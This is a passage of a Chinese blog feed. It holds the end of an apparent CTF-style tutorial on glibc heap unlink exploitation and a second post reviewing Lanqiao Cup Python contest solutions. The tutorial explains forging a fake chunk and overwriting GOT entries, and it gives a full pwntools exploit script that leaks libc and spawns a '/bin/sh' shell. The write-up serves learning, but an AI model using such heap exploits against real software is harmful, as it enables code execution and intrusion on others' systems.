“&#x2F;bin&#x2F;sh”）</p><p>如果我们在chunk2的data部分构造一个fake chunk，让这个fake chunk处于释放状态，修改chunk3的prev_size和size的标志位，让chunk3在释放的时候向前合并，就能利用unlink，实现任意地址写。</p><p>fake chunk的最小尺寸是0x30，所以chunk2的最小大小也就是0x30。计算方式如下</p><p><code>min=prev_size+size+fd+bk+next_prev+next_size</code></p><p>其中每个部分的大小都是0x8，也就是0x8*6&#x3D;0x30。</p><p>为了正常利用，chunk3的prev_size也应该是0x30，并且size应该大于fast bin的最大值，即最小为0x90。</p><p>那fake chunk怎么构造呢？</p><ul><li><p>prev_size：这里不会被读取，直接写0就可以了。</p></li><li><p>size：<code>prev_size+size+next_prev+next_size=0x20</code>，所以这里写0x20。</p></li><li><p>next_prev：chunk3的prev_size，也就是这里的next_prev必须等于前一个chunk即fake chunk的size，所以这里也是0x20。</p></li><li><p>next_size：不重要，随便写一个。</p></li><li><p>fd：我们目标修改的地方是0x602150（0x602140是::s的起始，idx&#x3D;0，对应chunk2是idx&#x3D;2，也就是0x602150），<code>fd=0x602150-0x18</code></p></li><li><p>bk：0x602150-0x10</p></li></ul><p>unlink 完成后，全局数组中 chunk2 对应的指针被改成 target-0x18。</p><p>此时通过 edit(2) 写入数据，就能修改全局数组里其他chunk的指针：把 chunk1 的指针改成 free_got，chunk2 的指针改成 puts_got，再用 edit(1) 把 chunk1 指向的内容写成 puts_plt。这样delete(2) 就会执行puts(puts_got)</p><p>泄露libc基地址后把free@got改成 system，再让 chunk4 里放 “&#x2F;bin&#x2F;sh”，delete(4) 就能getshell。</p><h3 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch=<span class="string">&#x27;amd64&#x27;</span>,log_level=<span class="string">&#x27;debug&#x27;</span>,terminal=[<span class="string">&#x27;tmux&#x27;</span>,<span class="string">&#x27;split&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>])</span><br><span class="line">file = <span class="string">&#x27;./pwn&#x27;</span></span><br><span class="line">elf = ELF(file)</span><br><span class="line"></span><br><span class="line">LD = <span class="string">&#x27;/home/eddy123/桌面/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64&#x27;</span></span><br><span class="line">p = process([LD + <span class="string">&#x27;/ld-2.23.so&#x27;</span>, <span class="string">&#x27;--library-path&#x27;</span>, LD, file])</span><br><span class="line">libc = ELF(LD + <span class="string">&#x27;/libc-2.23.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line">host = <span class="string">&#x27;aaaa&#x27;</span></span><br><span class="line">port = <span class="number">1234</span></span><br><span class="line"><span class="comment">#p = remote(host, port)</span></span><br><span class="line"></span><br><span class="line">s_addr=<span class="number">0x602150</span> </span><br><span class="line">free_got=elf.got[<span class="string">&#x27;free&#x27;</span>]</span><br><span class="line">puts_got=elf.got[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">puts_plt=elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">size</span>):</span><br><span class="line">    p.sendline(<span class="string">b&#x27;1&#x27;</span>)</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(size))</span><br><span class="line">    p.recvuntil(<span class="string">b&#x27;OK\n&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">num,content</span>):</span><br><span class="line">    p.sendline(<span class="string">b&#x27;2&#x27;</span>)</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(num))</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(<span class="built_in">len</span>(content)))</span><br><span class="line">    p.send(content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params">num</span>):</span><br><span class="line">    p.sendline(<span class="string">b&#x27;3&#x27;</span>)</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(num))</span><br><span class="line">    p.recvuntil(<span class="string">b&#x27;OK\n&#x27;</span>)</span><br><span class="line"></span><br><span class="line">add(<span class="number">0x30</span>)</span><br><span class="line">add(<span class="number">0x30</span>)</span><br><span class="line">add(<span class="number">0x90</span>)</span><br><span class="line">add(<span class="number">0x30</span>)</span><br><span class="line"></span><br><span class="line">payload=p64(<span class="number">0</span>)</span><br><span class="line">payload+=p64(<span class="number">0x30</span>)</span><br><span class="line">                                  </span><br><span class="line">payload+=p64(s_addr-<span class="number">0x18</span>)       </span><br><span class="line">payload+=p64(s_addr-<span class="number">0x10</span>)        </span><br><span class="line">payload+=<span class="string">b&#x27;a&#x27;</span>*(<span class="number">0x30</span>-<span class="number">0x20</span>)        </span><br><span class="line">payload+=p64(<span class="number">0x30</span>)                 </span><br><span class="line">payload+=p64(<span class="number">0xa0</span>)               </span><br><span class="line">                              </span><br><span class="line"></span><br><span class="line">edit(<span class="number">2</span>,payload)</span><br><span class="line">delete(<span class="number">3</span>)                      </span><br><span class="line"></span><br><span class="line">payload2=<span class="string">b&#x27;c&#x27;</span>*<span class="number">0x10</span>         </span><br><span class="line">payload2+=p64(free_got)           </span><br><span class="line">payload2+=p64(puts_got)           </span><br><span class="line">edit(<span class="number">2</span>,payload2)</span><br><span class="line"></span><br><span class="line">edit(<span class="number">1</span>,p64(puts_plt))             </span><br><span class="line"></span><br><span class="line">p.sendline(<span class="string">b&#x27;3&#x27;</span>)                  </span><br><span class="line">p.sendline(<span class="string">b&#x27;2&#x27;</span>)</span><br><span class="line"></span><br><span class="line">leak=u64(p.recvuntil(<span class="string">b&#x27;\n&#x27;</span>,drop=<span class="literal">True</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">p.recvuntil(<span class="string">b&#x27;OK\n&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(leak))</span><br><span class="line">libc_addr=leak-libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">log.success(<span class="string">&#x27;libc base =&#x27;</span>,<span class="built_in">hex</span>(libc_addr))</span><br><span class="line"></span><br><span class="line">system=libc_addr+libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line"></span><br><span class="line">payload=p64(system)</span><br><span class="line"></span><br><span class="line">edit(<span class="number">1</span>,payload)                </span><br><span class="line"></span><br><span class="line">edit(<span class="number">4</span>,<span class="string">b&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line">p.sendline(<span class="string">b&#x27;3&#x27;</span>)</span><br><span class="line">p.sendline(<span class="string">b&#x27;4&#x27;</span>)                 </span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://rwrkev9s.github.io/unlink-heap-exploit/</id>
    <link href="https://rwrkev9s.github.io/unlink-heap-exploit/"/>
    <published>2026-09-25T06:55:00.000Z</published>
    <summary>
      <![CDATA[<p>感觉这块很难理解，看其他师傅的博客也看不太懂…死磕好几天之后决定自己动手写个简单易懂的！</p>
<h2 id="0x01-什么是unlink"><a href="#0x01-什么是unlink" class="headerlink" title="0x01 什么是unli]]>
    </summary>
    <title>unlink（超绝说人话版本）</title>
    <updated>2026-09-25T06:55:06.861Z</updated>
  </entry>
  <entry>
    <author>
      <name>Eddy_R</name>
    </author>
    <category term="算法" scheme="https://rwrkev9s.github.io/tags/%E7%AE%97%E6%B3%95/"/>
    <content>
      <![CDATA[<p>题目链接：<a href="https://www.luogu.com.cn/contest/321016#problems">https://www.luogu.com.cn/contest/321016#problems</a></p><h2 id="和平干饭日"><a href="#和平干饭日" class="headerlink" title="和平干饭日"></a>和平干饭日</h2><h3 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h3><p>就是看有多少天吐出的猫粮数 mod 26可以等于0。这里使用了字符串拼接的方式来计算每天吐出的猫粮数</p><h3 id="代码"><a href="#代码" class="headerlink" title="代码"></a>代码</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> sys</span><br><span class="line">sys.set_int_max_str_digits(<span class="number">100000</span>)</span><br><span class="line"><span class="comment">#跑代码的时候出现了整数转字符串长度限制，这个是3.11出现的，考场上用的版本并没有这个限制，前两行可以不写</span></span><br><span class="line"></span><br><span class="line">total=<span class="number">1</span></span><br><span class="line">cnt=<span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">2</span>,<span class="number">2027</span>):</span><br><span class="line">    total=<span class="built_in">str</span>(total)</span><br><span class="line">    total=total+<span class="built_in">str</span>(i)</span><br><span class="line">    total=<span class="built_in">int</span>(total)</span><br><span class="line">    <span class="keyword">if</span> total%<span class="number">26</span>==<span class="number">0</span>:</span><br><span class="line">        cnt+=<span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(cnt)</span><br></pre></td></tr></table></figure><p>答案：<code>76</code></p><h2 id="干涉条纹"><a href="#干涉条纹" class="headerlink" title="干涉条纹"></a>干涉条纹</h2><h3 id="思路-1"><a href="#思路-1" class="headerlink" title="思路"></a>思路</h3><p>在考场上写出了时间复杂度n^2的代码，跑到考试结束也没出结果（笑）</p><p>这题应该是枚举平方数S，然后对每个 S 去找有多少个 (a,b) 满足 a+b&#x3D;S</p><p>找两个较小的数字推一下，不难看出：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">当0 ≤ S ≤ B：个数 = S+1</span><br><span class="line">当B &lt; S ≤ A：个数 = B+1</span><br><span class="line">当A &lt; S ≤ A+B：个数 = A+B−S+1</span><br></pre></td></tr></table></figure><h3 id="代码-1"><a href="#代码-1" class="headerlink" title="代码"></a>代码</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> math</span><br><span class="line"></span><br><span class="line">M1 = <span class="number">20269876543210</span></span><br><span class="line">M2 = <span class="number">20260123456789</span></span><br><span class="line">total_max = M1 + M2</span><br><span class="line"></span><br><span class="line">k_min = <span class="number">0</span></span><br><span class="line">k_max = <span class="built_in">int</span>(math.isqrt(total_max))</span><br><span class="line"></span><br><span class="line">ans = <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> k <span class="keyword">in</span> <span class="built_in">range</span>(k_min, k_max + <span class="number">1</span>):</span><br><span class="line">    S = k * k</span><br><span class="line">    <span class="keyword">if</span> S &lt;= M2:</span><br><span class="line">        cnt = S + <span class="number">1</span></span><br><span class="line">    <span class="keyword">elif</span> S &lt;= M1:</span><br><span class="line">        cnt = M2 + <span class="number">1</span></span><br><span class="line">        </span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        cnt = M1 + M2 - S + <span class="number">1</span></span><br><span class="line">        </span><br><span class="line">    ans=(ans+cnt)%<span class="number">998244353</span></span><br><span class="line"><span class="built_in">print</span>(ans)</span><br></pre></td></tr></table></figure><p>答案：<code>315082704</code></p><h2 id="定制展示盘"><a href="#定制展示盘" class="headerlink" title="定制展示盘"></a>定制展示盘</h2><h3 id="思路-2"><a href="#思路-2" class="headerlink" title="思路"></a>思路</h3><p>本质上是一个判断质数，如果是质数就+1变成合数，不是质数直接输出n</p><p>注意，n&lt;3的时候不能+1，要输出4（疑似考场上因为这个丢分了（说疑似是因为不知道有没有这个测试点，但考场上确实没写））</p><h3 id="代码-2"><a href="#代码-2" class="headerlink" title="代码"></a>代码</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> math</span><br><span class="line"><span class="built_in">input</span>=<span class="keyword">lambda</span>:sys.stdin.readline().strip()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">isPrime</span>(<span class="params">n</span>):</span><br><span class="line">    <span class="keyword">if</span> n &lt; <span class="number">2</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">    <span class="keyword">if</span> n == <span class="number">2</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">if</span> n % <span class="number">2</span> == <span class="number">0</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>, <span class="built_in">int</span>(math.sqrt(n)) + <span class="number">1</span>, <span class="number">2</span>):</span><br><span class="line">        <span class="keyword">if</span> n % i == <span class="number">0</span>:</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"></span><br><span class="line">T=<span class="built_in">int</span>(<span class="built_in">input</span>())</span><br><span class="line"><span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(T):</span><br><span class="line">    n=<span class="built_in">int</span>(<span class="built_in">input</span>())</span><br><span class="line">    <span class="keyword">if</span> n&lt;=<span class="number">3</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;4&quot;</span>)</span><br><span class="line">    <span class="keyword">elif</span> isPrime(n):</span><br><span class="line">        <span class="built_in">print</span>(n+<span class="number">1</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(n)</span><br></pre></td></tr></table></figure><h2 id="奇偶博弈"><a href="#奇偶博弈" class="headerlink" title="奇偶博弈"></a>奇偶博弈</h2><h3 id="思路-3"><a href="#思路-3" class="headerlink" title="思路"></a>思路</h3><p>考前n天练过一次博弈论，导致考场看见题没太蒙，但同时导致了审题不认真丢分。学长押题压得准，学长教得好，我没学好我罪该万死。（可惜，这个题分拿全应该就省一了）</p><p>本质上就是看操作数</p><p>操作数统计方式如下：</p><p><img src="/img/lanqiao-1.png" alt="替换操作的奇偶性限制"></p><p>如果W[i]是奇数（非1），变成0需要两步，偶数（非0）则是1步；如果是1操作数算1，0就是0</p><p>按这个方式统计操作数，是奇数就是先手赢，偶数后手赢</p><h3 id="代码-3"><a href="#代码-3" class="headerlink" title="代码"></a>代码</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="built_in">input</span> = <span class="keyword">lambda</span>: sys.stdin.readline().strip()</span><br><span class="line"></span><br><span class="line">T = <span class="built_in">int</span>(<span class="built_in">input</span>())</span><br><span class="line"><span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(T):</span><br><span class="line">    N = <span class="built_in">int</span>(<span class="built_in">input</span>())</span><br><span class="line">    W = <span class="built_in">list</span>(<span class="built_in">map</span>(<span class="built_in">int</span>, <span class="built_in">input</span>().split()))</span><br><span class="line">    cnt=<span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(N):</span><br><span class="line">        <span class="keyword">if</span> W[i]%<span class="number">2</span>==<span class="number">0</span>:</span><br><span class="line">            <span class="keyword">if</span> W[i]==<span class="number">0</span>:</span><br><span class="line">                cnt+=<span class="number">0</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                cnt+=<span class="number">1</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">if</span> W[i]==<span class="number">1</span>:</span><br><span class="line">                cnt+=<span class="number">1</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                cnt+=<span class="number">2</span></span><br><span class="line">    <span class="keyword">if</span> cnt%<span class="number">2</span>==<span class="number">0</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Q&quot;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;L&quot;</span>)</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://rwrkev9s.github.io/lanqiao-17-pythonb/</id>
    <link href="https://rwrkev9s.github.io/lanqiao-17-pythonb/"/>
    <published>2026-09-24T13:50:00.000Z</published>
    <summary>
      <![CDATA[<p>题目链接：<a href="https://www.luogu.com.cn/contest/321016#problems">https://www.luogu.com.cn/contest/321016#problems</a></p>
<h2 id="和平干饭日"><]]>
    </summary>
    <title>17届蓝桥杯省赛PythonB组赛后复盘</title>
    <updated>2026-09-25T05:39:23.662Z</updated>
  </entry>
</feed>
